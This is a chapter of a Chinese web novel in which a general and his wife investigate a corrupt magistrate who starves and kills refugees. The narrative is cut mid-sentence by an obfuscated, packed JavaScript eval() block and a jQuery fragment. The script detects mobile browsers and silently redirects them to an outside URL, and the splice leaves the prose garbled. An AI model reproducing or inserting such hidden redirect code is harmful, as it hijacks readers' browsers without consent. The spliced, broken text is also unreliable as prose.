6. 维护

作品:《她死遁后二皇子疯魔了

    说完,何秋纪回头看了眼许霍。


    因为车厢安静了很久,许霍没有说话,转过来的时候,他就这样静静地看着她,眼神中蕴含了捉摸不清的思绪。


    “你在想什么。”


    许霍眨了下眼:“没什么。”


    “你说试试,那有想过如何做吗?这些流民可不是好惹的,刚才你也看见了,若不小心说不定会受伤,那就得不偿失了。”


    何秋纪说:“他们暴动是因为吃不上饭,我觉得......是否有人在其中中饱私囊呢。”


    许霍敏锐地捕捉到异常,蹙眉警惕地问。


    “你如何知道?”


    何秋纪没说话,只是掀开了帷裳,看到远处,逐渐变得清晰的瞿临城城门。


    “且看着吧。”


    一炷香后,车队稳稳停在了瞿临城城门前。


    眼前的一切远比想象中还要震撼。


    仅仅是城墙门前,就聚集了许许多多的流民和乞丐。


    们靠在城门前扎堆,面黄肌瘦,奄奄一息,与死神仅有一步之遥。


    城门口,一位体态圆润,衣着华丽的官员迎上前来。


    来到马车边,满脸笑意。


    “这位便是中郎将了吧,果真是一表人才,年纪轻轻,未来前途不可限量啊!”


    “程县令吃得很好啊。”


    话落,许霍昂了昂头:“那为什么这么多流民聚集在这里,他们没有粮食吃吗。”


    程县令笑道:“大人先进城吧,府里将最大最宽敞的房间留给大人,大人能来简直让此城蓬荜生辉......”


    “我在问你话。”许霍打断道。


    程县令的笑凝固了下,却还是说:“此事说来话长。”


    “不如还是先进城整顿一番再说吧,各位远道而来,想必也累了。”


    “你......”


    “既如此,我们便随县令进城吧。”


    何秋纪打断许霍。


    程县令这才看向何秋纪,笑道。


    “这位便是中郎将夫人了吧,简直是倾国倾城。”


    何秋纪俯耳小声对符绿说了几句话,然后忽视程县令,放下了帷裳。


    许霍静静地看着她所为,不加任何阻碍。


    马车接着行驶起来。


    瞿临城的官兵将他们大肆迎了进城。


    一路上,何秋纪看到了许许多多横在角落里无人料理到有些发臭的尸身,也看见了几人为了一口发霉的馒头争得你死我活。


    没一会,马车稳稳停在县令府门口。


    与外面不同,府中干净整洁,就连花草都修剪的精致美观,房檐光滑明亮一丝灰尘也没有,像新建的府邸一般。


    两人跟着他来到宽敞整洁的正厅。


    下人将茶水递上。


    程县令脸上的笑不达眼底,又让人看不出别的心绪。


    “下官虽身在瞿临城这耳朵啊,却一直能听见许大人的丰功伟绩,在下是十分佩服的。小人无福在京都任职,有些关于京都的事情想问问许大人。”


    散发着恶臭的恭维。


    许霍没回答。


    半天没等到回应,程县令垂眸喝了口茶。


    “早已听说京都的官场水深如渊,但这官场的本质都是一样的,想必应该和瞿临城差不到那去吧。”


    何秋纪试图扯一下话题。


    “县令大人,大人这次是奉了旨意来的,若事情今早办完,你我都早日交差,也早日享清闲,不如先说说流民暴动的事情吧。”


    程县令没什么好意地扯了下嘴。


    “夫人想必不懂官场之事,还是莫要打断在下和许大人的对话了。”


    何秋纪差点气出声。


    这县令,真是个死东西。


    虽说女子不参政的思想根深蒂固在大部分人心里,但瞿临城这番情形,他句句不提流民,只是刚扯了一句便以妇人之见让她闭嘴。


    简直让她的火气噌噌直冒。


    许霍放下茶杯,身体往后一靠,面色沉下。


    “不好意思县令,我这人比较惧内。”


    “不如先聊聊流民的事吧。”


    何秋纪眉头一挑,十分诧异。


    程县令的笑脸慢慢下去,声音也随之下沉。


    “大人这是不打算与在下好好聊了。”


    许霍看了何秋纪一眼,似有安慰的意思,接着不改变面色对县令说:“聊啊。”


    “聊聊他们为什么会没有粮食吃,聊聊赈灾的银子都用到哪去了。”


    不知为何,得到这一眼,她心中有些安稳。


    程县令笑容消失殆尽。


    “既如此,本官还有些事要忙,流民暴动的事让本官的手下告知二位吧。”


    说完,起身拂袖离去。


    “真是个狗官。”


    何秋纪有些咬牙切齿地碎一句后,对许霍道:“刚才多谢你了。”


    “谢什么,为夫人做事,应该的。”


    许霍起身:“看来想从他这里下手是不行了。”


    何秋纪已经对他脱口而出的情谊免疫了。


    此时,进城时就被派走的符绿回来了。


    符绿看了许霍一眼,欲言又止。


    何秋纪道:“没事,说。”


    “小姐,城中施粥的地方仅有五处,因为前几日有人受伤,所以各处官兵对待流民态度十分敷衍,甚至能称得上厌恶,而且分发给流民的粥大部分是混了泥沙的。”


    “还有,”符绿靠近她,贴着耳朵说,“属下查到,户部贪污的银子也和这位县令有关。”


    何秋纪点头,小声说:“你们接着去查。”


    “属下告退。”


    瞿临城一个不起眼的,有些荒废的角落架着一处棚子。


    说是棚子,不如说是落了些杂草的,几根木头随意形成的支架。


    下面有一口已经生了锈的锅,非常干净,被流民吃的一点儿也不剩,除此之外还有一个发霉的筐,似乎是用来装馒头的。


    几人到的时候,棚子里的吃食正好分完,挤在锅前的流民被官兵赶开,互相之间开始新一轮的争夺。


    从县令府出来,两人并肩来到此处便看见这样的情形。


    许霍打量着眼前,也打量着身边人。


    何秋纪蹙着眉,满眼心疼。


    这时,毫无道德底线的厮杀一触即发,你争我抢的人群逐渐转变成了阎王殿前你死我活的生路。


    拿到吃的苟延残喘,拿不到走上黄泉路。


    许霍眼疾手快地将何秋纪从右边拉到了自己左边。


    那些人狰狞的嘴脸让场面比战场上厮杀到血流三尺还要骇人。


    “早知道不让你来了。”


    “什么?”


    何秋纪正担忧地看着那些人,被许霍拽地忽然踉跄了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125768|164327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一下,没听清楚说的什么。


    他攥着她的手腕。


    “我说,你难道还想过去帮忙吗?”


    “我......”


    “不准去。”


    何秋纪蓦然回头:“我还什么都没说呢!”


    “你怎么会这么心软。”


    问这话的时候,许霍没有低头看着她,他像在注视着前方的人群,眼神又似乎有些空洞,自言自语一般。


    没一会,瞿临城的官兵闻讯而来,立刻将人团团围住。


    但那些争疯了眼的流民怎么会服从官兵,一句不听地就开始反抗,眼看那些官兵要动手杀人,何秋纪和许霍不约而同地立刻上前,一下制止了官兵。


    “别打了!”


    许霍中气十足的声音一下子定了人心。


    “你是何人?!”官兵狐疑又高傲地问。


    许霍利落地一把将腰牌撤下丢了出去。


    官兵接过令牌,立刻跪下。


    “大人赎罪,小人有眼不识泰山......”


    何秋纪听着这副和县令一样恭维的话就心烦:“别废话。”


    “压制暴动便压制,想动手杀人算怎么回事?”


    “夫人不知,属下们说话他们都不听,只能出此下策......”


    “你放屁!”


    流民中,一人高喊。


    “闭嘴!”


    官兵即刻对着手下吩咐:“将这些人全部都带到大牢里去,和其他人关在一起!”


    “关大牢?”


    何秋纪微微蹙眉。


    她和许霍对视一眼,从对方眼中看见了同样的意思。


    许霍说:“本将和夫人想一块去看看,不知可否?”


    “当然可以,大人请,夫人请。”


    官兵带领两人跟在队伍的后面一路,走了很久很久,才来到一处很荒凉的地段,宏伟宽大的石门上方刻着一行鲜红的大字——大牢。


    阴森非常。


    几人走进去,来到一个阴暗的分岔路口。


    官兵的言语间全是谄媚:“大人,您今日送来的人也关在这里,可要小人带您去看看?”


    “不用,你忙你的去吧。”


    “我们随便逛逛。”


    官兵带着人将刚才押解的流民走入左侧。


    何秋纪看了许霍一眼。


    无需多言,并肩前往右侧。


    阴暗的道路只有两边微弱的烛火苟延残喘,黑暗的最深处隐约能传来断断续续的声音,有些耳熟。


    “若非你们暴动,怎么会惹得举国皆知,甚至陛下都亲自下旨派人来。”


    “你个狗官!”


    “朝廷赈灾的粮食和银子都被你收走了!别以为我们不知道你在郊外唔......”


    “知道太多的人,命总是不长的。”


    眼看何秋纪就要冲进去,许霍一手将她扣下。


    附耳小声:“别去,现在不易打草惊蛇。”


    她小声气愤道:“我想过他会贪污!没想到竟然还如此草菅人命!”


    许霍连忙道:“你冷静些,今日我们只是来查看那些被我扣下来的人的,撞见此事我也于心难安,但现在不是良机。”


    “那就任由他如此猖狂!?”


    “不会。”


    黑暗中,耳边的声音低沉,附有天生的安全感。


    “他会死的。”